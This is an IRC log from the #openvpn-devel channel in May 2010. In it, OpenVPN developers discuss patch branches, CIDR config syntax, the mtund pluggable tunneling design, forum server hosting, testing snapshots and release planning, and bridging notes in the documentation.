[~k@unaffiliated/krzee] has quit [Quit: Leaving] 15:23 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 16:49 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 17:00 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has joined #openvpn-devel 17:00 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has left #openvpn-devel [] 21:43 -!- y0tta [~y0tta@67.159.34.102] has joined #openvpn-devel 23:02 < krzie> im seeing if the main dev from iodine has any interest joining in on some meetings, specifically regarding 3.0, since it could be interesting to get input from someone who may find use in the core without necessarily using the vpn features 23:02 < krzie> i shot him a copy of the roadmap, but told him its still in the drawing-board phase 23:39 -!- y0tta [~y0tta@67.159.34.102] has quit [Quit: y0tta] --- Day changed Mon May 24 2010 03:17 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-hyfnhtdyjhavoger] has joined #openvpn-devel 04:12 -!- dazo_afk is now known as dazo 04:20 < waldner> dazo: where should patches be based these days? allmerged, master...? 05:09 <@cron2> waldner: I'd say this really depends on the type of patch. I'd base bugfixes on the "bugfix" branch (because then you won't have merge conflicts with other bugfixes), and "large and complex" things based on the master branch (since we don't know what bits of allmerged are going to be "official tree" in which order) 05:12 <@dazo> waldner: as cron2 says 05:13 <@dazo> waldner: in general, you should actually not base it up on allmerged, as this is where everything gets merged in ... and this is to make it easier for James to cherry-pick patches if he don't want everything we got in allmerged 06:31 < waldner> right, so I wanted to implement CIDR syntax for IPv4 config 06:31 < waldner> I suppose basing it on master would be sensible 06:32 <@dazo> waldner: yeah 06:32 <@dazo> do you expect it to be a big patch? 06:32 < waldner> do you think it would make sense to introduce new statements like network-cidr, route-cidr etc., or modify the existing statements to recognize both syntaxes? 06:33 <@dazo> I'd suggest not introducing any new options 06:33 < waldner> yes, that's what I thought 06:33 < waldner> so it shouldn't be extremely big I'd say 06:33 < waldner> just modifying the argument checking and parsing for the sensible options (route, iroute, server, etc.) 06:34 <@dazo> if so ... and you do changes which might conflict with feat_misc ... you may base it here, as this is the "big pot" where I put all small feature changes, basically 06:34 < waldner> (yes, that's a personal peeve of mine: I've always been annoyed by not being able to say "route 10.0.0.0/25" and such) 06:34 <@dazo> :) 06:35 < waldner> ok, I'll check feat_misc out and see 06:35 < waldner> in case my clashes, I'll go with master 06:35 <@dazo> if it's clean against both master and feat_misc, master is preferred 06:35 < waldner> s/my/mine/ 06:35 <@dazo> :) 06:35 < waldner> ok 06:35 < waldner> thanks 06:35 <@dazo> you're welcome --- Log closed Mon May 24 09:13:07 2010 --- Log opened Mon May 24 10:09:02 2010 10:09 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 10:09 -!- Irssi: #openvpn-devel: Total of 13 nicks [4 ops, 0 halfops, 0 voices, 9 normal] 10:09 -!- Irssi: Join to #openvpn-devel was synced in 33 secs 10:10 -!- vpnHelper [~vpn@unaffiliated/krzee/bot/vpnhelper] has joined #openvpn-devel --- Log closed Mon May 24 10:10:21 2010 --- Log opened Mon May 24 10:10:37 2010 10:10 -!- ecrist [~ecrist@pdpc/supporter/professional/ecrist] has joined #openvpn-devel 10:10 -!- Irssi: #openvpn-devel: Total of 14 nicks [4 ops, 0 halfops, 0 voices, 10 normal] 10:11 -!- Irssi: Join to #openvpn-devel was synced in 36 secs 10:40 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 11:19 -!- y0tta [~y0tta@ip26.208-100-1.static.steadfast.net] has joined #openvpn-devel 11:36 -!- waldner_ [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:36 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-hyfnhtdyjhavoger] has quit [Disconnected by services] 11:37 -!- waldner_ is now known as waldner 11:46 -!- y0tta [~y0tta@ip26.208-100-1.static.steadfast.net] has quit [Ping timeout: 265 seconds] 13:11 -!- y0tta [~y0tta@ip26.208-100-1.static.steadfast.net] has joined #openvpn-devel 14:27 -!- dazo is now known as dazo_afk 14:36 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 272 seconds] 14:59 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 15:06 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 15:18 -!- krzee [~k@ftp.secure-computing.net] has joined #openvpn-devel 15:18 -!- krzee [~k@ftp.secure-computing.net] has quit [Changing host] 15:18 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 16:38 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has joined #openvpn-devel 16:41 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has left #openvpn-devel [] 17:06 -!- y0tta [~y0tta@ip26.208-100-1.static.steadfast.net] has quit [Quit: y0tta] 17:07 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 20:44 -!- krzee is now known as book 20:44 -!- book is now known as krzee 21:31 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has joined #openvpn-devel 21:31 -!- jhaar [~jhaar@2001:470:828b:0:21c:bfff:fea9:1197] has left #openvpn-devel [] --- Day changed Tue May 25 2010 00:11 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 01:24 -!- dazo_afk is now known as dazo 02:47 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:58 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-lbuksajhzmpotkok] has joined #openvpn-devel 04:35 -!- dazo is now known as dazo|afk 07:08 -!- dazo|afk [~dazo@nat/redhat/x-equtpjhcpxlkmsts] has quit [Read error: Connection reset by peer] 07:10 -!- dazo_ [~dazo@nat/redhat/x-nrqflwvmzhkeqahg] has joined #openvpn-devel 07:10 -!- dazo_ is now known as Guest37241 07:32 -!- mode/#openvpn-devel [+o Guest37241] by ChanServ 07:33 -!- Guest37241 is now known as dazo 09:21 -!- dazo [~dazo@nat/redhat/x-nrqflwvmzhkeqahg] has quit [Read error: Connection reset by peer] 09:22 -!- dazo [~dazo@nat/redhat/x-sujgpremkyivprmo] has joined #openvpn-devel 09:22 -!- dazo is now known as Guest85520 09:23 -!- mode/#openvpn-devel [+o Guest85520] by ChanServ 09:23 -!- Guest85520 is now known as dazo 09:58 -!- dazo [~dazo@nat/redhat/x-sujgpremkyivprmo] has quit [Read error: Connection reset by peer] 10:00 -!- dazo [~dazo@nat/redhat/x-lmlphlyfleqniipa] has joined #openvpn-devel 10:00 -!- dazo is now known as Guest27552 10:06 -!- mode/#openvpn-devel [+o Guest27552] by ChanServ 10:06 -!- Guest27552 is now known as dazo 10:07 <@dazo> grrrr ... what's wrong with the irc connection today ..... 10:59 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-lbuksajhzmpotkok] has quit [] 11:04 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 276 seconds] 11:11 -!- openvpn2009 [pandora@matrix.openvpn.org] has quit [Ping timeout: 264 seconds] 11:28 -!- Guest12047 [~admin@adsl-71-140-186-185.dsl.pltn13.pacbell.net] has joined #openvpn-devel 11:34 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 11:48 -!- Guest12047 is now known as openvpn2009 11:49 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 13:08 -!- dazo is now known as dazo_afk 13:31 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 272 seconds] 13:47 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 14:29 < krzie> http://p4web.freebsd.org/@md=d&cd=//depot/projects/soc2007/mharvan-mtund/mtund.doc/&c=btF@//depot/projects/soc2007/mharvan-mtund/mtund.doc/design.txt 14:29 < krzie> The Magic Tunneling Daemon (mtund) uses plugins for different 14:30 < krzie> encapsulations. It automagically selects a working encapsulation in 14:30 < krzie> each environment an can failover to another one if the environment 14:30 < krzie> changes. This document describes the design and main implementation 14:30 < krzie> details of mtund. 14:30 < krzie> from google summer of code 14:30 < krzie> '07 15:14 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 15:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 17:59 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 20:30 -!- krzie [nobody@unaffiliated/krzee] has quit [Ping timeout: 245 seconds] 21:58 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Wed May 26 2010 00:48 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:50 -!- dazo_afk [~dazo@nat/redhat/x-lmlphlyfleqniipa] has quit [Read error: Connection reset by peer] 02:51 -!- dazo_afk [~dazo@nat/redhat/x-xcdqifoevvqibkao] has joined #openvpn-devel 02:51 -!- dazo_afk is now known as Guest41782 03:02 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-oizhbtgccjvyrnja] has joined #openvpn-devel 03:57 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 03:58 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 04:44 <@mattock> ecrist: do you already have replacement for troy.mclure? 05:07 -!- mode/#openvpn-devel [+o Guest41782] by ChanServ 05:07 -!- Guest41782 is now known as dazo 06:15 < ecrist> mattock: yes, I'll get an account set up for you today or tomorrow 06:16 <@mattock> ecrist: great! btw. we could start working on forums.openvpn.net now 06:16 < ecrist> ok 06:16 <@mattock> reverse proxying tomcat (8443) seems to work ok 06:16 < ecrist> great! 06:16 <@mattock> so registration service should be accessible for anyone now 06:20 <@mattock> forums.openvpn.net runs on VMWare... I was just wondering what the FreeBSD VM support in it 06:20 <@mattock> Is ovpnforums.com is running on FreeBSD? 06:20 -!- dazo [~dazo@nat/redhat/x-xcdqifoevvqibkao] has quit [Read error: Connection reset by peer] 06:21 < ecrist> yes, ovpnforums.com is freebsd 06:21 < ecrist> I only run freebsd, haven't run a linux box regularly since 1998 06:22 -!- dazo [~dazo@nat/redhat/x-oodvrlpcqqucelfa] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:22 <@mattock> I can ask the guys to replace the existing VM with a FreeBSD one 06:23 <@mattock> there's not much in there yet 06:23 < ecrist> up to you 06:23 -!- d12fk [~heiko@vpn.astaro.de] has quit [Read error: Connection reset by peer] 06:23 <@mattock> which version would you suggest? 06:23 < ecrist> 8.0 06:24 <@mattock> ok, I'll ask if FreeBSD 8.0 is doable... I don't mind using it, I'm somewhat familiar with BSD's and don't mind reading the excellent FreeBSD manual again :) 06:27 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 06:27 < ecrist> great! 06:28 < ecrist> that means I don't have to learn linux again. 06:33 <@mattock> and that I have to relearn FreeBSD, 5.2 was the last one I used... although I've used OpenBSD 3.x and 4.x to some degree 07:29 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 276 seconds] 07:32 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 08:01 < waldner> anybody knows what the "ifconfig-push-constraint" option is meant to do? it's not documented anywhere. It seems it's to impose that only certain ifconfig values be pushed to clients 08:01 < ecrist> waldner: I'm not sure, but your best bet is to read the source, if there's no other documentation. 08:02 < waldner> heh, that's what I'm doing 08:02 < waldner> but I thought I asked just in case somebody knew offhand 08:02 < ecrist> dazo or cron2 may know. 08:03 <@dazo> waldner: I dunno ... I've not noticed this feature before 08:03 < waldner> ok thanks 08:03 < waldner> I'll figure out 08:05 < waldner> adding CIDR for IPv4 config is turning out to be harder than I thought, because of the way the config is parsed, the assumptions that it makes, and the way some parts of the parsing process are intertwined together 08:06 < waldner> in practice that means that there's no single elegant way of adding that support 08:06 <@dazo> yeah, I'm not that much surprised ... some parts of the code is really not easy to work with 08:06 < waldner> and each option has to be hacked differently to add cidr 08:07 <@dazo> if you want me to have a look at your thoughts for implementation, please pass them over and I'll give you some feedback to your imagined implementation 08:07 < waldner> in the form of patches? 08:08 <@dazo> patches or "sketches" 08:08 < waldner> ok 08:08 < waldner> thanks 08:08 <@dazo> you're welcome :) 08:13 < waldner> if some constraints were imposed on the config format (eg, some things must come before others), parsing would probably become much easier 08:14 < waldner> is this something being considered for version 3.0? (just curious) 08:14 < waldner> currently the parsing code looks quite involved 08:17 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Read error: Operation timed out] 08:17 < waldner> although it's true that command line options should continue to be supported, and it's more difficult to impose ordering or other constraints on those 08:19 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 08:33 <@dazo> waldner: I'd say that the whole config parsing should be reworked in 3.x ... the config parser now is quite complicated, as it is used by several parts of the code in a very unclear way .... the config parser handles command line args, config file, configs pushed by server and configs generated on-the-fly by --client-connect script/plug-ins 08:33 <@dazo> the implementation could be done cleaner, IMO 08:33 < waldner> agreed 09:22 -!- dazo [~dazo@nat/redhat/x-oodvrlpcqqucelfa] has quit [Read error: Connection reset by peer] 09:23 -!- dazo_ [~dazo@nat/redhat/x-maxdwqwfsabvatle] has joined #openvpn-devel 09:23 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 09:23 -!- dazo_ is now known as dazo 10:29 -!- dazo [~dazo@nat/redhat/x-maxdwqwfsabvatle] has quit [Read error: Connection reset by peer] 10:30 -!- dazo [~dazo@nat/redhat/x-ekvdimuejhtkoaqf] has joined #openvpn-devel 10:30 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:30 -!- dazo [~dazo@nat/redhat/x-ekvdimuejhtkoaqf] has quit [Client Quit] 10:31 -!- dazo [~dazo@nat/redhat/x-uiqgbngackroauig] has joined #openvpn-devel 10:31 -!- mode/#openvpn-devel [+o dazo] by ChanServ 10:48 -!- Bloodsong [~Nimbus@bas2-barrie18-1242455031.dsl.bell.ca] has joined #openvpn-devel 10:59 -!- waldner [~c2c9d2d6@gateway/web/freenode/x-oizhbtgccjvyrnja] has quit [] 12:04 < krzie> hey dazo 12:04 < krzie> did you see that mtund doc i posted? 12:04 <@dazo> krzie: hey! 12:04 < krzie> from 07' google summer of code 12:04 <@dazo> krzie: nope ... haven't noticed that one 12:05 <@dazo> krzie: where? 12:05 < krzie> [15:29] http://p4web.freebsd.org/@md=d&cd=//depot/projects/soc2007/mharvan-mtund/mtund.doc/&c=btF@//depot/projects/soc2007/mharvan-mtund/mtund.doc/design.txt 12:05 < krzie> [15:29] The Magic Tunneling Daemon (mtund) uses plugins for different 12:05 < krzie> [15:29] encapsulations. It automagically selects a working encapsulation in 12:05 < krzie> [15:29] each environment an can failover to another one if the environment 12:05 < krzie> [15:29] changes. This document describes the design and main implementation 12:05 < krzie> [15:29] details of mtund. 12:05 < krzie> [15:30] from google summer of code 12:05 < krzie> [15:30] '07 12:05 < krzie> the author of iodine pointed me at that 12:06 <@dazo> krzie: looks interesting .... I'll have to add it to my "must read"-list .... but this sounds very interesting 12:07 <@dazo> sounds initially very familiar to what we're thinking of in regards to ovpn 3.0 12:07 < krzie> yup 12:09 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 12:10 < krzie> http://wiki.freebsd.org/mtund 12:10 < vpnHelper> Title: mtund - FreeBSD Wiki (at wiki.freebsd.org) 12:10 < krzie> its BSD licensed too 12:10 <@dazo> krzie: is that project alive? 12:10 < krzie> mtund (last edited 2008-06-17 21:37:29 by localhost) 12:13 <@dazo> krzie: hmm ... pity ... the project looks good at first sight ... even though last code change is autumn 2007 ... so we'll need to review this code 12:13 < krzie> right, we might gain some stuff from it 12:14 <@dazo> I'm sceptic to just use the code as-is, as 2.5 year without maintenance might give some unpleasant surprises ... but the idea and some parts of the code may indeed be used 12:14 < waldner> that's similar to what I meant when I said that a pluggable transport system would be cool 12:15 <@dazo> waldner: that's what's openvpn 3.x will look like ;-) 12:15 < krzie> i got the link to that when i showed the author of iodine the beta roadma for 3.x 12:16 < krzie> ok not link, but the info that it exists 12:16 <@dazo> krzie: and the coding style .... it's so much more pleasant than the openvpn code :-P 12:17 <@dazo> krzie: thx a lot for this info! This is a time saver and really good input! 12:17 < krzie> the thanx go to Yarrick of the iodine roject 12:17 < krzie> project* 12:22 < krzie> lots of comments in the code too 12:23 < krzie> The daemon automatically probes for a working 12:23 < krzie> * encapsulation, tunnels ovber it and can failover to a different 12:23 < krzie> * encapsulation if it fails. 12:23 < krzie> that is interesting as hell 12:23 < krzie> i like that one! 12:23 < krzie> picture this... 12:23 < krzie> i have a single config file for my vpn 12:23 < krzie> when im in firewall free zone, it goes to udp like now 12:24 < krzie> when it must, it goes tcp 443 12:24 < krzie> but when im in territory that i normally must DNS tunnel using iodine... 12:24 < krzie> it automaticly fails over to dns tunneling mode 12:24 < krzie> that is an insanely awesome idea 12:25 < krzie> and openvpn would set all the routing for the dns tunnel (currently when you use iodine you should use my routing script to start it (avail on their TRAC)) 14:38 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has joined #openvpn-devel 14:43 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:57 -!- dazo is now known as dazo_afk 14:58 -!- Bloodsong [~Nimbus@bas2-barrie18-1242455031.dsl.bell.ca] has quit [Ping timeout: 245 seconds] 15:13 -!- jhaar [~jhaar@222-154-246-214.adsl.xtra.co.nz] has left #openvpn-devel [] 16:03 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 18:00 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: Leaving] 20:56 < krzee> hey dazo, jjk was saying in a recent thread something about not needing multiple servers until around 1000 users, and you said recently around 200 users, did i misunderstand one of you? 20:56 < ecrist> I think it depends on the hardware 20:57 < ecrist> I'm guessing an i7 could handle a couple more than a PIII 20:58 < krzee> well the special thing about an i7 afaik is that each core has hyperthreading 20:58 < krzee> so when apps are made to take advantage, a 2 core system can run like it has 4 cores 20:58 < krzee> openvpn wouldnt be one of those apps 20:59 < krzee> (but ya, it would still outperform a p3 20:59 < krzee> ) 21:01 * ecrist actually starts working on c++ code for ssl-admin 21:01 * ecrist has no idea where to start 21:01 < krzee> cmdline flags and user interface 21:02 < krzee> thats usually where i start, the rest kinda comes together 21:02 < ecrist> the first version will be a clone of what 1.0.3 is 21:02 < ecrist> re-versioned as 2.0 21:02 < ecrist> 2.1 should support batch/command line flags 21:02 < krzee> but with CLI input? 21:02 < krzee> oh 21:02 < krzee> werd 21:02 < ecrist> baby steps, man. :) 21:44 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Thu May 27 2010 00:29 < krzie> http://openvpn.net/index.php/open-source/faq.html#bridge1 00:29 < vpnHelper> Title: FAQ (at openvpn.net) 00:30 < krzie> another bridge disadvantage should be that layer2 is insecure by design 00:31 < krzie> opening your layer2 exposes to arp poisoning and the like 00:35 < krzie> question: Make sure to only bridge TAP interfaces with private ethernet interfaces which are protected behind a firewall. Never bridge a TAP interface with the same ethernet interface you use to connect to the internet, as that would create a potential security hole. 00:35 < krzie> does that mean users should have 2 NICs in a bridge server...? 00:35 < krzie> cause i thought not 00:39 < krzie> and if im not mistaken i remember that sample-scripts/bridge-start needs a line at the bottom to readd the gateway 00:56 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:46 -!- dazo_afk is now known as dazo 03:59 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Remote host closed the connection] 04:30 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 04:56 -!- mape2k [~mape2k@2001:6f8:997:1000:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:05 -!- mape2k [~mape2k@2001:6f8:997:1000:21f:3bff:fe27:21a9] has quit [Ping timeout: 272 seconds] 06:07 <@mattock> dazo: any ideas for today's meeting agenda 06:07 <@mattock> ? 06:07 <@dazo> mattock: tbh ... I've not had time to think that far yet 06:08 <@dazo> I'm packed up with to some new releases at work ... so I'm barely staying afloat right now 06:11 <@dazo> mattock: I'm planning to attend the meeting today ... I might be delayed a bit if one of my meetings today exeeds the time 06:11 <@mattock> ok, good that you can attend... now we just need something to discuss :) 06:11 <@mattock> I created the Agenda page already 06:11 <@dazo> mattock: but what begins to be important now, is to get clarified the testing progress ... and how to get -testing patches into stable 06:12 <@mattock> yeah, I think that could be today's meeting agenda 06:12 <@mattock> that's the only really missing link 06:15 <@dazo> It's not much more happening on the patch side .... You'll get an overview here: https://community.openvpn.net/openvpn/query?status=accepted&status=assigned&status=new&status=reopened&group=severity&order=priority&col=id&col=summary&col=status&col=owner&col=priority&col=component&col=changetime&report=10&type=Patch+submission 06:15 < vpnHelper> Title: Submitted patches – OpenVPN (at community.openvpn.net) 06:15 <@mattock> I think releasing "testing" snapshots and linking to those from openvpn.net is necessary to get "testing" tested well enough 06:16 <@mattock> dazo: nice report, helps a lot in figuring out at which phase each patch is in 06:16 <@dazo> yeah, but we also do need some kind of feedback ... and if users don't do it ... we need some testing infrastructure to do this as automatic as possible 06:17 <@dazo> mattock: yeah ... I'm probably abusing the "severity" flag ... but couldn't find a better solution 06:17 <@dazo> but feel free to change this, if it gets better and less abusive :) 06:18 <@mattock> I guess you could call that abuse, yes ;). However, we can move to a cleaner solution later 06:21 <@dazo> sure :) I was just missing some standardised flags as Bugzilla can have ... so that's it :) ... It was just to get us starting and to get me some better overview which others could observe as well 06:34 <@mattock> yep 06:34 <@mattock> I was thinking that perhaps we should base releases on "testing" rather than "stable": https://community.openvpn.net/openvpn/wiki/Topics-2010-05-27 06:34 < vpnHelper> Title: Topics-2010-05-27 – OpenVPN (at community.openvpn.net) 06:34 <@mattock> what do you think? 06:45 <@dazo> mattock: hmm ... this can turn out to become a nasty debate, especially if basing releases on the -testing tree ... some people can then blame us (or me, who started the git tree) for lurking and forcing SVN to be replaced by the git tree ... I don't want that 06:46 <@dazo> unless, James gives leadership and says that's how it's going to be ... but I don't want to be blamed for a dirty trick moving OpenVPN over to a git tree 06:46 * ecrist already thought that... 06:48 <@mattock> yep, this might become nasty... however, I think James needs to start including "testing" stuff into his tree or we need to base releases on "testing" 06:48 <@dazo> I chose git primarily because it was the easiest way for me to maintain a good overview - and to be able to work on a lot of things in parallel, without involving an external server. For me this was the most efficient way to work. 06:48 <@mattock> I think git vs. svn is completely irrelevant here... the development process itself is not yet fully functional 06:49 <@dazo> git can provide patches for James to be included into SVN ... James can also clone the git tree, and push the git tree into his SVN tree with git-svn ... so that's what I imagined, unless James wanted to do a switch 06:49 <@mattock> I think we should definitely discuss this issue today 06:50 <@mattock> how many rc's did latest OpenVPN release have? 06:50 <@dazo> mattock: I agree ... I just want to raise awareness of this 06:50 <@dazo> mattock: 22 beta ... and 15-20 alpha, I believe 06:50 -!- dazo [~dazo@nat/redhat/x-uiqgbngackroauig] has quit [Read error: Connection reset by peer] 06:51 -!- dazo_ [~dazo@nat/redhat/x-ejnwkfklfiihdsqq] has joined #openvpn-devel 06:51 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 06:52 -!- dazo_ is now known as dazo 06:52 <@mattock> that's quite a lot... I guess that was just James' way to make sure the final release was stable... but the release took a lot of time (how much?) 06:52 <@dazo> 3 years 06:52 <@mattock> too much I think... 06:52 <@dazo> I agree 06:53 <@mattock> getting people to use "testing" code a.s.a.p. is the key (as well as good quality code, of course) 06:54 <@dazo> and rc15 was really stable for a long long time ... then suddenly a new round of 16-17 which went quickly then 18 and after a while 19 ... and the quickly up to 22 .... I believe that was roughly a year 06:55 <@mattock> I'm not exactly sure what the alphas/betas contained and what their relation to the SVN tree was... any ideas? 06:55 <@mattock> I don't think many used James' SVN tree, so alpha/beta phase was essential to get testing... and James may have been overly careful about making releases 06:55 <@dazo> mattock: That I honestly didn't follow too much ... at that point I didn't really manage to locate the correct SVN tree and the branch 06:56 <@mattock> yep, that was not easy to find, granted 06:57 < ecrist> fwiw, there have been 86 unique downloads of week 19 snapshot, the current openvpn-devel ports release 06:57 < ecrist> 1 download of week 21 (this week) snapshot 06:58 < ecrist> 0 downloads of week 20 06:58 <@dazo> and 18 anonymous reads on the git tree 06:58 <@dazo> since February 06:59 <@mattock> I think I should start building the server which creates and publishes "testing" snapshots (e.g. daily) 07:00 <@mattock> linking from openvpn.net to that should boost "testing" downloads _a lot_ 07:00 < ecrist> 0 for week 18, 45 for week 17 07:00 < ecrist> dazo: a lot of those anon reads are probably me 07:00 <@dazo> ecrist: true 07:01 < ecrist> mattock: what's different from the testing snapshots and what I'm already publishing? 07:01 <@mattock> not sure, what are you publishing? :) 07:01 <@dazo> btw ... I don't trust that sf.net statistic much ... as it do not count everything .... I did some checks (and complained about it) with my eurephia project ... and sf.net staff admitted they had troubles 07:02 < ecrist> mattock: weekly, I pull a copy of git tree and bootstrap it 07:03 < ecrist> it's created every sunday at midnight, versioned as YYYYWW where WW is the week number of the year 07:03 <@mattock> it's only a source package, right? 07:03 < ecrist> we don't build binary packages... 07:03 <@dazo> I believe mattock is thinking about providing binary packages for more distros 07:03 <@mattock> I was thinking of incrementally automating the whole release process, including the infamous Windows binaries 07:03 < ecrist> ah, ok 07:04 <@mattock> of course, creating source packages should be trivial, too 07:04 < ecrist> those weekly snapshots are what I use for the freebsd ports tree 07:04 <@mattock> yep, that's how I've understood it... 07:04 < ecrist> and what we've recommended to pkg maintainers to use 07:04 <@mattock> anyways, the same server could do the continous integration (=build failure checking) stuff 07:05 <@mattock> and provide apt/yum/whatever repositories... but I think basic packaging&publishing is most important right now 07:08 <@mattock> I'll send mail about the meeting now... I rephrased parts of the wiki page 07:08 < ecrist> not sure if I"ll be there or not, though either way, it won't put much of a damper on the meeting. 07:15 <@mattock> ecrist: ok 07:21 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:23 -!- dazo [~dazo@nat/redhat/x-ejnwkfklfiihdsqq] has quit [Read error: Connection reset by peer] 07:24 -!- dazo [~dazo@nat/redhat/x-vsvsbydijdeuovmj] has joined #openvpn-devel 07:24 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:51 < krzee> hey mattock, can we squeeze in my suggestions for the bridge stuff on the site if there is time? 09:51 <@mattock> krzee: of course 09:51 < krzee> do you have it in your scrollback or shall i paste? 10:05 < krzee> [22:32] http://openvpn.net/index.php/open-source/faq.html#bridge1 10:05 < krzee> [22:32] Title: FAQ (at openvpn.net) 10:05 < krzee> [22:32] another bridge disadvantage should be that layer2 is insecure by design 10:05 < krzee> [22:34] opening your layer2 exposes to arp poisoning and the like 10:05 < krzee> [22:37] question: Make sure to only bridge TAP interfaces with private ethernet interfaces which are protected behind a firewall. Never bridge a TAP interface with the same ethernet interface you use to connect to the internet, as that would create a potential security hole. 10:05 < vpnHelper> Title: FAQ (at openvpn.net) 10:05 < krzee> [22:38] does that mean users should have 2 NICs in a bridge server...? 10:05 < krzee> [22:38] cause i thought not 10:05 < krzee> [22:41] and if im not mistaken i remember that sample-scripts/bridge-start needs a line at the bottom to readd the gateway 10:05 < krzee> (just in case) 12:07 -!- dazo is now known as dazo_afk 12:29 -!- dazo_afk is now known as dazo 12:29 <@raidz> paging ecrist 12:30 <@raidz> ecrist: what specs do you need for the forums vm? 12:32 <@mattock> krzee: I'll add the bridge stuff to Trac 12:33 <@mattock> btw. you can now register from Register link if you want to add stuff to the wiki... 12:33 < krzee> thanx samuli 12:39 <@raidz> We are going to allocate 80gigs to forum.openvpn.net, we can alsways add another disk later 12:40 < krzee> sounds plenty big! 12:40 <@mattock> krzee: any ideas how much the forums use currently? 12:40 <@raidz> sweet 12:41 < krzee> mattock, no but its small 12:41 < krzee> theres really nothing on the forum but text 12:41 < krzee> ild say its gotta be under a gig but thats 100% guess 12:41 < ecrist> I'm here 12:41 < ecrist> what's up? 12:41 <@mattock> ecrist: how much disk space should we allocate for forums VM? 12:42 < ecrist> 10G? 12:42 < ecrist> 18G if you're generous. ;) 12:42 < krzee> they said they are starting at 80, i said thats more than enough (sounds like i was right) ;] 12:43 <@mattock> ok, so 80 gigs _is_ enough :) 12:43 < ecrist> mattock: let me get the current utilization for you 12:44 < ecrist> the db is 16M, and the source/etc itself is 52M 12:44 < ecrist> + OS 12:44 <@cron2> *lol*, sounds like 80G is indeed plenty :) 12:45 < krzee> thats what i expected 12:45 <@raidz> well, we will leave (plenty) room for growth :-p 12:45 < krzee> oh btw dazo, i added a thread for your auth / iptables plugin 12:46 < krzee> in the scripts section 12:46 < krzee> and for the record, that looks badass! 12:46 <@dazo> krzee: ahh ..thx! Well, iptables is at the moment just a "side effect", authentication is the core task it solves ... but that's now, I have big plans for the future :-P 12:52 <@mattock> krzee: is this what you mean by talking about bridging: https://community.openvpn.net/openvpn/wiki/Topics-2010-05-27 12:52 < vpnHelper> Title: Topics-2010-05-27 – OpenVPN (at community.openvpn.net) 12:53 < krzee> the question starts at: "Make sure to only..." 12:54 < krzee> the first one does at least 12:57 < krzee> bc the first question is based on that statement, which is at http://openvpn.net/index.php/open-source/documentation/miscellaneous/76-ethernet-bridging.html in "Ethernet Bridging Notes" 12:57 < vpnHelper> Title: Ethernet Bridging (at openvpn.net) 13:00 <@dazo> krzee: generally speaking .... if openvpn is listening to eth0 ... bridging eth0 with tap0 is a very bad idea, if it will work at all ... so in that regards, you need two NIC. But the second one can also be virtual - but then it looses the concept I'd say 13:00 < waldner> uhm, what about the case where the OpenVPN server is not the gateway? 13:01 < waldner> if it's internal to the LAN, it almost always has only an ethernet interface 